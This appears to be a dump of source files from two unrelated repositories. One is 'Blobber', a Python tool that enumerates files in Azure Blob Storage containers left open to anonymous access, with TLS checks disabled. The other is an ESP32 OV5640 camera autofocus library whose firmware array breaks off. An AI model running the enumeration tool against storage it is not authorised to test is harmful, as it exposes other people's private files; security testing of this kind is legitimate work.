<img src="https://img.shields.io/github/forks/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/languages/code-size/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
</div>
<br>
<h3> Blobber - Azure Blob Storage Service Enumeration Tool </h2>
<p> <b>Blobber</b> is a tool focused on enumerating files stored in an Azure Blob Storage Service with anonymous access enabled. </p>
<br>
<h3> Installation </h3>
<pre>
~$ apt install pipx
~$ pipx ensurepath
~$ pipx install git+https://github.com/oppsec/blobber.git
~$ blobber
</pre>
<br>
<h3> Usage examples </h3>
<pre>
blobber -u "https://target.com/uploads"
blobber -u "https://target.com/assets" -f '.pdf'
</pre>
<br>
<h3> Updating </h4>
<pre>
1. option: pipx install git+https://github.com/oppsec/blobber.git --force
2. option: pipx reinstall blobber --python /usr/bin/python
</pre>
<br>
<h3> Warning </h3>
<p> The developer is not responsible for any malicious use of this tool </p>
|
000pp/blobber
| 1,071 |
src/blobber/main.py
|
from rich.console import Console
console = Console()
import argparse
from blobber.ui.banner import get_banner
from blobber.modules.status import request
from blobber.modules.blobs import blob_handler
def initialize() -> None:
""" Initiates Blobber """
get_banner()
parser = argparse.ArgumentParser(
prog='Blobber',
description='Attacking Azure Blob Storage Service'
)
parser.add_argument('-u', help="Specify the target URL to be used", required=True)
parser.add_argument('-f', help="Filter by extension based on file name. Example: .pdf", required=False, default=None)
args = parser.parse_args()
url = args.u
file_filter = args.f
status(url, file_filter)
def status(url: str, file_filter: str) -> None:
"""Wrapper to check the status of the given URL."""
response = request(url)
if response:
console.print(f"[[yellow]![/]] Enumerating blobs...\n", highlight=False)
blob_handler(response.text, file_filter)
else:
pass
if __name__ == "__main__":
initialize()
|
000pp/blobber
| 1,809 |
src/blobber/modules/blobs.py
|
"""
This module aims to enumerate and get Name, Last-Modified, Content-Length and Content-Typpe blob value.
"""
from lxml import etree
from rich.console import Console
console = Console()
def blob_handler(content: str, file_filter: str) -> None:
try:
content_bytes = content.encode('utf-8')
root = etree.fromstring(content_bytes)
blobs = root.xpath(".//Blob")
if not blobs:
console.print("[[yellow]![/]] Nenhum blob encontrado.")
return
for blob in blobs:
url_element = blob.find("Url")
url = url_element.text.strip() if url_element is not None else "N/A"
file_name = blob.findtext(".//Name", default="N/A").strip()
last_modified = blob.findtext(".//Last-Modified", default="N/A").strip()
content_length = blob.findtext(".//Content-Length", default="N/A").strip()
content_type = blob.findtext(".//Content-Type", default="N/A").strip()
if file_filter == None:
console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False)
console.print("-" * 50, "\n")
if not file_filter == None:
if file_name.endswith(file_filter):
console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False)
console.print("-" * 50, "\n")
else:
pass
except Exception as error:
console.print(f"[[red]![/]] Erro ao processar blobs: {error}")
|
000pp/blobber
| 1,092 |
src/blobber/modules/status.py
|
"""
This module checks the status from the Azure Container passed
"""
from rich.console import Console
console = Console()
from requests import get
from urllib3 import disable_warnings
disable_warnings()
from blobber.modules.errors import error_handler
def request(url: str) -> tuple:
"""
Perform a GET request to the given URL, handle errors, and retry if necessary.
"""
url = f"{url}/?restype=container&comp=list"
try:
response = get(url, verify=False, timeout=10)
if response.ok:
console.print(f"[[green]+[/]] Connected successfully to [green]{url}[/]")
return response
# Handle errors
error_handler_response = error_handler(url, response)
if error_handler_response:
return error_handler_response
console.print(f"[[yellow]![/]] Request to [green]{url}[/] failed with status {response.status_code}", highlight=False)
return None
except Exception as error:
console.print(f"[[red]![/]] Error trying to connect to [green]{url}[/]: {error}")
return None
|
000pp/blobber
| 2,492 |
src/blobber/modules/errors.py
|
"""
This module handle the common errors when interacting with Azure Blobs
"""
from rich.console import Console
console = Console()
from requests import get
from urllib3 import disable_warnings
disable_warnings()
errors_list = {
"InvalidQueryParameterValue": "Value for one of the query parameters specified in the request URI is invalid.",
"FeatureVersionMismatch": "Trying to add 'x-ms-version: 2020-04-08' header on the request.",
"ResourceNotFound": "Invalid container or blob file specified in the URL.",
"AccountIsDisabled": "The specified account is disabled."
}
def error_handler(url: str, response) -> tuple:
"""
Handles errors in Azure Blob responses and retries if specific errors occur.
"""
try:
if isinstance(response, str):
response_text = response
else:
response_text = response.text if hasattr(response, 'text') else ""
for key, value in errors_list.items():
if key in response_text:
#console.print(f"[[yellow]![/yellow]] [red]{key}[/]: {value}")
if key == "FeatureVersionMismatch":
headers = {"x-ms-version": "2020-04-08"}
retry_response = get(url, verify=False, timeout=10, headers=headers)
if retry_response.ok:
console.print(f"[[green]+[/]] Retried with x-ms-version header and succeeded!")
return retry_response
else:
console.print(f"[[red]![/]] Retried but failed with status {retry_response.status_code}")
return retry_response
if key == "InvalidQueryParameterValue":
console.print(f"[[red]![/]] {value}")
return False
if key == "ResourceNotFound":
console.print(f"[[red]![/]] Invalid container or blob file specified in the URL.")
return False
if key == "AccountIsDisabled":
console.print(f"[[red]![/]] {value}")
return False
if not isinstance(response, str) and not response.ok:
console.print(f"[[yellow]![/]] Bad request to [green]{url}[/]")
return None
except Exception as error:
console.print(f"[[red]![/]] Unexpected error in error_handler: {error}")
return None
|
0015/ESP32-OV5640-AF
| 2,676 |
README.md
|
[](https://www.ardu-badge.com/OV5640%20Auto%20Focus%20for%20ESP32%20Camera)
# Enable OV5640's autofocus function on ESP32 AI-THINKER Board
This library contains the necessary firmware and source code to enable the OV5640 autofocus mode on the ESP32.
## Note
Each manufacturer of OV5640 has slightly different specifications. Please check with your product first. The product I used is Waveshare's OV5640. https://www.waveshare.com/wiki/OV5640_Camera_Board_(C)
## Installation
### ESP32 Core Library
You need to install the ESP32 core libraries.
The install instructions for your specific OS are here:
https://github.com/espressif/arduino-esp32
### Using Arduino Library Manager
From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...*
In Library Manager Window, search *"OV5640"* in the search form then select *"OV5640 Auto Focus for ESP32 Camera"*
Click *"Install"* button.
### Manual installation
Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"*
From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...*
Or use git:
```
cd ~/arduino/libraries/
git clone git@github.com:0015/ESP32-OV5640-AF.git
```
Then you should see the examples and be able to include the library in your projects with:
```
#include "ESP32_OV5640_AF.h"
```
## Usage
This works like a standard Arduino library. Here's a minimal example:
```
// Create an object from OV5640 class at the top of your sketch
OV5640 ov5640 = OV5640();
// To start OV5640, neet to pass the pointer of the esp camera sensor
sensor_t* sensor = esp_camera_sensor_get();
ov5640.start(sensor);
// Download Firmware for AF
if (ov5640.focusInit() == 0) {
Serial.println("OV5640_Focus_Init Successful!");
}
// Set Continuous AF MODE
if (ov5640.autoFocusMode() == 0) {
Serial.println("OV5640_Auto_Focus Successful!");
}
```
See the OV5640_Console_Test example for a more fully-featured example.
## Hardware Modification
To use the AF function of the OV5640 on the ESP32 AI-Thinker board, you need to connect 3.3v to the last 24th pin(AF-VCC).
I share what I've been working on. [You can also see how AF works.](https://youtu.be/922BWy3OOoQ)
<a href="https://youtu.be/922BWy3OOoQ">
<img width="800" src="https://github.com/0015/ESP32-OV5640-AF/blob/main/misc/main.jpg">
</a>
# Updates
- v0.1.1
- Only Added CONTINUOUS AUTOFOCUS Mode
# License
This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
|
0015/ESP32-OV5640-AF
| 28,448 |
src/ESP32_OV5640_cfg.h
|
/*
ESP32_OV5640_cfg.h - Library for OV5640 Auto Focus (ESP32 Camera)
Created by Eric Nam, December 08, 2021.
Released into the public domain.
*/
#define OV5640_CHIPID_HIGH 0x300a
#define OV5640_CHIPID_LOW 0x300b
#define OV5640_CMD_MAIN 0x3022
#define OV5640_CMD_ACK 0x3023
#define OV5640_CMD_PARA0 0x3024
#define OV5640_CMD_PARA1 0x3025
#define OV5640_CMD_PARA2 0x3026
#define OV5640_CMD_PARA3 0x3027
#define OV5640_CMD_PARA4 0x3028
#define OV5640_CMD_FW_STATUS 0x3029
#define AF_TRIG_SINGLE_AUTO_FOCUS 0x03
#define AF_CONTINUE_AUTO_FOCUS 0x04
#define FW_STATUS_S_FIRMWARE 0x7F
#define FW_STATUS_S_STARTUP 0x7E
#define FW_STATUS_S_IDLE 0x70
#define FW_STATUS_S_FOCUSED 0x10
#define FW_STATUS_S_ZONE_CONFIG 0x16
#define FW_STATUS_S_FOCUSING 0x00 //0x00 - 0X0F, 0x80 - 0X8F
struct sensor_reg {
uint16_t reg;
uint8_t val;
};
const unsigned char OV5640_AF_Config[] =
{
0x02, 0x0f, 0xd6, 0x02, 0x0a, 0x39, 0xc2, 0x01, 0x22, 0x22, 0x00, 0x02, 0x0f, 0xb2, 0xe5, 0x1f, //0x8000,
0x70, 0x72, 0xf5, 0x1e, 0xd2, 0x35, 0xff, 0xef, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xe4, 0xf6, 0x08, //0x8010,
0xf6, 0x0f, 0xbf, 0x34, 0xf2, 0x90, 0x0e, 0x93, 0xe4, 0x93, 0xff, 0xe5, 0x4b, 0xc3, 0x9f, 0x50, //0x8020,
0x04, 0x7f, 0x05, 0x80, 0x02, 0x7f, 0xfb, 0x78, 0xbd, 0xa6, 0x07, 0x12, 0x0f, 0x04, 0x40, 0x04, //0x8030,
0x7f, 0x03, 0x80, 0x02, 0x7f, 0x30, 0x78, 0xbc, 0xa6, 0x07, 0xe6, 0x18, 0xf6, 0x08, 0xe6, 0x78, //0x8040,
0xb9, 0xf6, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xbf, 0x76, 0x33, 0xe4, 0x08, 0xf6, 0x78, //0x8050,
0xb8, 0x76, 0x01, 0x75, 0x4a, 0x02, 0x78, 0xb6, 0xf6, 0x08, 0xf6, 0x74, 0xff, 0x78, 0xc1, 0xf6, //0x8060,
0x08, 0xf6, 0x75, 0x1f, 0x01, 0x78, 0xbc, 0xe6, 0x75, 0xf0, 0x05, 0xa4, 0xf5, 0x4b, 0x12, 0x0a, //0x8070,
0xff, 0xc2, 0x37, 0x22, 0x78, 0xb8, 0xe6, 0xd3, 0x94, 0x00, 0x40, 0x02, 0x16, 0x22, 0xe5, 0x1f, //0x8080,
0xb4, 0x05, 0x23, 0xe4, 0xf5, 0x1f, 0xc2, 0x01, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x78, //0x8090,
0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0xa2, 0x37, 0xe4, 0x33, 0xf5, 0x3c, 0x90, 0x30, 0x28, 0xf0, //0x80a0,
0x75, 0x1e, 0x10, 0xd2, 0x35, 0x22, 0xe5, 0x4b, 0x75, 0xf0, 0x05, 0x84, 0x78, 0xbc, 0xf6, 0x90, //0x80b0,
0x0e, 0x8c, 0xe4, 0x93, 0xff, 0x25, 0xe0, 0x24, 0x0a, 0xf8, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x78, //0x80c0,
0xbc, 0xe6, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0xef, 0x12, 0x0f, 0x0b, //0x80d0,
0xd3, 0x78, 0xb7, 0x96, 0xee, 0x18, 0x96, 0x40, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xb9, 0xf6, 0x78, //0x80e0,
0xb6, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x8c, 0xe4, 0x93, 0x12, 0x0f, 0x0b, 0xc3, 0x78, //0x80f0,
0xc2, 0x96, 0xee, 0x18, 0x96, 0x50, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xc1, 0xa6, //0x8100,
0x06, 0x08, 0xa6, 0x07, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xc3, 0x78, 0xc2, 0x96, 0xff, 0xee, //0x8110,
0x18, 0x96, 0x78, 0xc3, 0xf6, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x95, 0xe4, 0x18, 0x12, 0x0e, 0xe9, //0x8120,
0x40, 0x02, 0xd2, 0x37, 0x78, 0xbc, 0xe6, 0x08, 0x26, 0x08, 0xf6, 0xe5, 0x1f, 0x64, 0x01, 0x70, //0x8130,
0x4a, 0xe6, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xdf, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, 0x39, 0x12, //0x8140,
0x0f, 0x02, 0x40, 0x04, 0x7f, 0xfe, 0x80, 0x02, 0x7f, 0x02, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, //0x8150,
0xe6, 0x24, 0x03, 0x78, 0xbf, 0xf6, 0x78, 0xb9, 0xe6, 0x24, 0xfd, 0x78, 0xc0, 0xf6, 0x12, 0x0f, //0x8160,
0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8170,
0x07, 0x75, 0x1f, 0x02, 0x78, 0xb8, 0x76, 0x01, 0x02, 0x02, 0x4a, 0xe5, 0x1f, 0x64, 0x02, 0x60, //0x8180,
0x03, 0x02, 0x02, 0x2a, 0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x08, //0x8190,
0x12, 0x0e, 0xda, 0x50, 0x03, 0x02, 0x02, 0x28, 0x12, 0x0f, 0x02, 0x40, 0x04, 0x7f, 0xff, 0x80, //0x81a0,
0x02, 0x7f, 0x01, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, 0xe6, 0x04, 0x78, 0xbf, 0xf6, 0x78, 0xb9, //0x81b0,
0xe6, 0x14, 0x78, 0xc0, 0xf6, 0x18, 0x12, 0x0f, 0x04, 0x40, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, //0x81c0,
0x00, 0x78, 0xbf, 0xa6, 0x07, 0xd3, 0x08, 0xe6, 0x64, 0x80, 0x94, 0x80, 0x40, 0x04, 0xe6, 0xff, //0x81d0,
0x80, 0x02, 0x7f, 0x00, 0x78, 0xc0, 0xa6, 0x07, 0xc3, 0x18, 0xe6, 0x64, 0x80, 0x94, 0xb3, 0x50, //0x81e0,
0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xbf, 0xa6, 0x07, 0xc3, 0x08, 0xe6, 0x64, 0x80, //0x81f0,
0x94, 0xb3, 0x50, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xc0, 0xa6, 0x07, 0x12, 0x0f, //0x8200,
0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8210,
0x07, 0x75, 0x1f, 0x03, 0x78, 0xb8, 0x76, 0x01, 0x80, 0x20, 0xe5, 0x1f, 0x64, 0x03, 0x70, 0x26, //0x8220,
0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, //0x8230,
0x09, 0x78, 0xb9, 0xe6, 0x78, 0xbe, 0xf6, 0x75, 0x1f, 0x04, 0x78, 0xbe, 0xe6, 0x75, 0xf0, 0x05, //0x8240,
0xa4, 0xf5, 0x4b, 0x02, 0x0a, 0xff, 0xe5, 0x1f, 0xb4, 0x04, 0x10, 0x90, 0x0e, 0x94, 0xe4, 0x78, //0x8250,
0xc3, 0x12, 0x0e, 0xe9, 0x40, 0x02, 0xd2, 0x37, 0x75, 0x1f, 0x05, 0x22, 0x30, 0x01, 0x03, 0x02, //0x8260,
0x04, 0xc0, 0x30, 0x02, 0x03, 0x02, 0x04, 0xc0, 0x90, 0x51, 0xa5, 0xe0, 0x78, 0x93, 0xf6, 0xa3, //0x8270,
0xe0, 0x08, 0xf6, 0xa3, 0xe0, 0x08, 0xf6, 0xe5, 0x1f, 0x70, 0x3c, 0x75, 0x1e, 0x20, 0xd2, 0x35, //0x8280,
0x12, 0x0c, 0x7a, 0x78, 0x7e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xa6, 0x09, 0x18, 0x76, //0x8290,
0x01, 0x12, 0x0c, 0x5b, 0x78, 0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xe6, 0x78, 0x6e, //0x82a0,
0xf6, 0x75, 0x1f, 0x01, 0x78, 0x93, 0xe6, 0x78, 0x90, 0xf6, 0x78, 0x94, 0xe6, 0x78, 0x91, 0xf6, //0x82b0,
0x78, 0x95, 0xe6, 0x78, 0x92, 0xf6, 0x22, 0x79, 0x90, 0xe7, 0xd3, 0x78, 0x93, 0x96, 0x40, 0x05, //0x82c0,
0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x93, 0xe7, 0x78, 0x90, 0x96, 0xff, 0x78, 0x88, 0x76, //0x82d0,
0x00, 0x08, 0xa6, 0x07, 0x79, 0x91, 0xe7, 0xd3, 0x78, 0x94, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, //0x82e0,
0x80, 0x08, 0xc3, 0x79, 0x94, 0xe7, 0x78, 0x91, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x79, 0x92, 0xe7, //0x82f0,
0xd3, 0x78, 0x95, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x95, 0xe7, 0x78, //0x8300,
0x92, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x12, 0x0c, 0x5b, 0x78, 0x8a, 0xe6, 0x25, 0xe0, 0x24, 0x4e, //0x8310,
0xf8, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8a, 0xe6, 0x24, 0x6e, 0xf8, 0xa6, 0x09, 0x78, 0x8a, //0x8320,
0xe6, 0x24, 0x01, 0xff, 0xe4, 0x33, 0xfe, 0xd3, 0xef, 0x94, 0x0f, 0xee, 0x64, 0x80, 0x94, 0x80, //0x8330,
0x40, 0x04, 0x7f, 0x00, 0x80, 0x05, 0x78, 0x8a, 0xe6, 0x04, 0xff, 0x78, 0x8a, 0xa6, 0x07, 0xe5, //0x8340,
0x1f, 0xb4, 0x01, 0x0a, 0xe6, 0x60, 0x03, 0x02, 0x04, 0xc0, 0x75, 0x1f, 0x02, 0x22, 0x12, 0x0c, //0x8350,
0x7a, 0x78, 0x80, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x12, 0x0c, 0x7a, 0x78, 0x82, 0xa6, 0x06, 0x08, //0x8360,
0xa6, 0x07, 0x78, 0x6e, 0xe6, 0x78, 0x8c, 0xf6, 0x78, 0x6e, 0xe6, 0x78, 0x8d, 0xf6, 0x7f, 0x01, //0x8370,
0xef, 0x25, 0xe0, 0x24, 0x4f, 0xf9, 0xc3, 0x78, 0x81, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x50, //0x8380,
0x0a, 0x12, 0x0c, 0x82, 0x78, 0x80, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, //0x8390,
0x8c, 0xe6, 0xc3, 0x97, 0x50, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8c, 0xf6, 0xef, 0x25, //0x83a0,
0xe0, 0x24, 0x4f, 0xf9, 0xd3, 0x78, 0x83, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x40, 0x0a, 0x12, //0x83b0,
0x0c, 0x82, 0x78, 0x82, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, 0x8d, 0xe6, //0x83c0,
0xd3, 0x97, 0x40, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8d, 0xf6, 0x0f, 0xef, 0x64, 0x10, //0x83d0,
0x70, 0x9e, 0xc3, 0x79, 0x81, 0xe7, 0x78, 0x83, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0x78, 0x84, //0x83e0,
0xf6, 0x08, 0xa6, 0x07, 0xc3, 0x79, 0x8c, 0xe7, 0x78, 0x8d, 0x96, 0x08, 0xf6, 0xd3, 0x79, 0x81, //0x83f0,
0xe7, 0x78, 0x7f, 0x96, 0x19, 0xe7, 0x18, 0x96, 0x40, 0x05, 0x09, 0xe7, 0x08, 0x80, 0x06, 0xc3, //0x8400,
0x79, 0x7f, 0xe7, 0x78, 0x81, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0xfe, 0x78, 0x86, 0xa6, 0x06, //0x8410,
0x08, 0xa6, 0x07, 0x79, 0x8c, 0xe7, 0xd3, 0x78, 0x8b, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, //0x8420,
0x08, 0xc3, 0x79, 0x8b, 0xe7, 0x78, 0x8c, 0x96, 0xff, 0x78, 0x8f, 0xa6, 0x07, 0xe5, 0x1f, 0x64, //0x8430,
0x02, 0x70, 0x69, 0x90, 0x0e, 0x91, 0x93, 0xff, 0x18, 0xe6, 0xc3, 0x9f, 0x50, 0x72, 0x12, 0x0c, //0x8440,
0x4a, 0x12, 0x0c, 0x2f, 0x90, 0x0e, 0x8e, 0x12, 0x0c, 0x38, 0x78, 0x80, 0x12, 0x0c, 0x6b, 0x7b, //0x8450,
0x04, 0x12, 0x0c, 0x1d, 0xc3, 0x12, 0x06, 0x45, 0x50, 0x56, 0x90, 0x0e, 0x92, 0xe4, 0x93, 0xff, //0x8460,
0x78, 0x8f, 0xe6, 0x9f, 0x40, 0x02, 0x80, 0x11, 0x90, 0x0e, 0x90, 0xe4, 0x93, 0xff, 0xd3, 0x78, //0x8470,
0x89, 0xe6, 0x9f, 0x18, 0xe6, 0x94, 0x00, 0x40, 0x03, 0x75, 0x1f, 0x05, 0x12, 0x0c, 0x4a, 0x12, //0x8480,
0x0c, 0x2f, 0x90, 0x0e, 0x8f, 0x12, 0x0c, 0x38, 0x78, 0x7e, 0x12, 0x0c, 0x6b, 0x7b, 0x40, 0x12, //0x8490,
0x0c, 0x1d, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x18, 0x75, 0x1f, 0x05, 0x22, 0xe5, 0x1f, 0xb4, 0x05, //0x84a0,
0x0f, 0xd2, 0x01, 0xc2, 0x02, 0xe4, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, 0x33, 0xd2, 0x36, //0x84b0,
0x22, 0xef, 0x8d, 0xf0, 0xa4, 0xa8, 0xf0, 0xcf, 0x8c, 0xf0, 0xa4, 0x28, 0xce, 0x8d, 0xf0, 0xa4, //0x84c0,
0x2e, 0xfe, 0x22, 0xbc, 0x00, 0x0b, 0xbe, 0x00, 0x29, 0xef, 0x8d, 0xf0, 0x84, 0xff, 0xad, 0xf0, //0x84d0,
0x22, 0xe4, 0xcc, 0xf8, 0x75, 0xf0, 0x08, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xec, 0x33, 0xfc, //0x84e0,
0xee, 0x9d, 0xec, 0x98, 0x40, 0x05, 0xfc, 0xee, 0x9d, 0xfe, 0x0f, 0xd5, 0xf0, 0xe9, 0xe4, 0xce, //0x84f0,
0xfd, 0x22, 0xed, 0xf8, 0xf5, 0xf0, 0xee, 0x84, 0x20, 0xd2, 0x1c, 0xfe, 0xad, 0xf0, 0x75, 0xf0, //0x8500,
0x08, 0xef, 0x2f, 0xff, 0xed, 0x33, 0xfd, 0x40, 0x07, 0x98, 0x50, 0x06, 0xd5, 0xf0, 0xf2, 0x22, //0x8510,
0xc3, 0x98, 0xfd, 0x0f, 0xd5, 0xf0, 0xea, 0x22, 0xe8, 0x8f, 0xf0, 0xa4, 0xcc, 0x8b, 0xf0, 0xa4, //0x8520,
0x2c, 0xfc, 0xe9, 0x8e, 0xf0, 0xa4, 0x2c, 0xfc, 0x8a, 0xf0, 0xed, 0xa4, 0x2c, 0xfc, 0xea, 0x8e, //0x8530,
0xf0, 0xa4, 0xcd, 0xa8, 0xf0, 0x8b, 0xf0, 0xa4, 0x2d, 0xcc, 0x38, 0x25, 0xf0, 0xfd, 0xe9, 0x8f, //0x8540,
0xf0, 0xa4, 0x2c, 0xcd, 0x35, 0xf0, 0xfc, 0xeb, 0x8e, 0xf0, 0xa4, 0xfe, 0xa9, 0xf0, 0xeb, 0x8f, //0x8550,
0xf0, 0xa4, 0xcf, 0xc5, 0xf0, 0x2e, 0xcd, 0x39, 0xfe, 0xe4, 0x3c, 0xfc, 0xea, 0xa4, 0x2d, 0xce, //0x8560,
0x35, 0xf0, 0xfd, 0xe4, 0x3c, 0xfc, 0x22, 0x75, 0xf0, 0x08, 0x75, 0x82, 0x00, 0xef, 0x2f, 0xff, //0x8570,
0xee, 0x33, 0xfe, 0xcd, 0x33, 0xcd, 0xcc, 0x33, 0xcc, 0xc5, 0x82, 0x33, 0xc5, 0x82, 0x9b, 0xed, //0x8580,
0x9a, 0xec, 0x99, 0xe5, 0x82, 0x98, 0x40, 0x0c, 0xf5, 0x82, 0xee, 0x9b, 0xfe, 0xed, 0x9a, 0xfd, //0x8590,
0xec, 0x99, 0xfc, 0x0f, 0xd5, 0xf0, 0xd6, 0xe4, 0xce, 0xfb, 0xe4, 0xcd, 0xfa, 0xe4, 0xcc, 0xf9, //0x85a0,
0xa8, 0x82, 0x22, 0xb8, 0x00, 0xc1, 0xb9, 0x00, 0x59, 0xba, 0x00, 0x2d, 0xec, 0x8b, 0xf0, 0x84, //0x85b0,
0xcf, 0xce, 0xcd, 0xfc, 0xe5, 0xf0, 0xcb, 0xf9, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, //0x85c0,
0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xeb, 0x33, 0xfb, 0x10, 0xd7, 0x03, 0x99, 0x40, 0x04, 0xeb, //0x85d0,
0x99, 0xfb, 0x0f, 0xd8, 0xe5, 0xe4, 0xf9, 0xfa, 0x22, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, //0x85e0,
0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xc9, 0x33, 0xc9, 0x10, 0xd7, 0x05, 0x9b, 0xe9, 0x9a, //0x85f0,
0x40, 0x07, 0xec, 0x9b, 0xfc, 0xe9, 0x9a, 0xf9, 0x0f, 0xd8, 0xe0, 0xe4, 0xc9, 0xfa, 0xe4, 0xcc, //0x8600,
0xfb, 0x22, 0x75, 0xf0, 0x10, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xcc, 0x33, //0x8610,
0xcc, 0xc8, 0x33, 0xc8, 0x10, 0xd7, 0x07, 0x9b, 0xec, 0x9a, 0xe8, 0x99, 0x40, 0x0a, 0xed, 0x9b, //0x8620,
0xfd, 0xec, 0x9a, 0xfc, 0xe8, 0x99, 0xf8, 0x0f, 0xd5, 0xf0, 0xda, 0xe4, 0xcd, 0xfb, 0xe4, 0xcc, //0x8630,
0xfa, 0xe4, 0xc8, 0xf9, 0x22, 0xeb, 0x9f, 0xf5, 0xf0, 0xea, 0x9e, 0x42, 0xf0, 0xe9, 0x9d, 0x42, //0x8640,
0xf0, 0xe8, 0x9c, 0x45, 0xf0, 0x22, 0xe8, 0x60, 0x0f, 0xec, 0xc3, 0x13, 0xfc, 0xed, 0x13, 0xfd, //0x8650,
0xee, 0x13, 0xfe, 0xef, 0x13, 0xff, 0xd8, 0xf1, 0x22, 0xe8, 0x60, 0x0f, 0xef, 0xc3, 0x33, 0xff, //0x8660,
0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xd8, 0xf1, 0x22, 0xe4, 0x93, 0xfc, 0x74, //0x8670,
0x01, 0x93, 0xfd, 0x74, 0x02, 0x93, 0xfe, 0x74, 0x03, 0x93, 0xff, 0x22, 0xe6, 0xfb, 0x08, 0xe6, //0x8680,
0xf9, 0x08, 0xe6, 0xfa, 0x08, 0xe6, 0xcb, 0xf8, 0x22, 0xec, 0xf6, 0x08, 0xed, 0xf6, 0x08, 0xee, //0x8690,
0xf6, 0x08, 0xef, 0xf6, 0x22, 0xa4, 0x25, 0x82, 0xf5, 0x82, 0xe5, 0xf0, 0x35, 0x83, 0xf5, 0x83, //0x86a0,
0x22, 0xd0, 0x83, 0xd0, 0x82, 0xf8, 0xe4, 0x93, 0x70, 0x12, 0x74, 0x01, 0x93, 0x70, 0x0d, 0xa3, //0x86b0,
0xa3, 0x93, 0xf8, 0x74, 0x01, 0x93, 0xf5, 0x82, 0x88, 0x83, 0xe4, 0x73, 0x74, 0x02, 0x93, 0x68, //0x86c0,
0x60, 0xef, 0xa3, 0xa3, 0xa3, 0x80, 0xdf, 0x90, 0x38, 0x04, 0x78, 0x52, 0x12, 0x0b, 0xfd, 0x90, //0x86d0,
0x38, 0x00, 0xe0, 0xfe, 0xa3, 0xe0, 0xfd, 0xed, 0xff, 0xc3, 0x12, 0x0b, 0x9e, 0x90, 0x38, 0x10, //0x86e0,
0x12, 0x0b, 0x92, 0x90, 0x38, 0x06, 0x78, 0x54, 0x12, 0x0b, 0xfd, 0x90, 0x38, 0x02, 0xe0, 0xfe, //0x86f0,
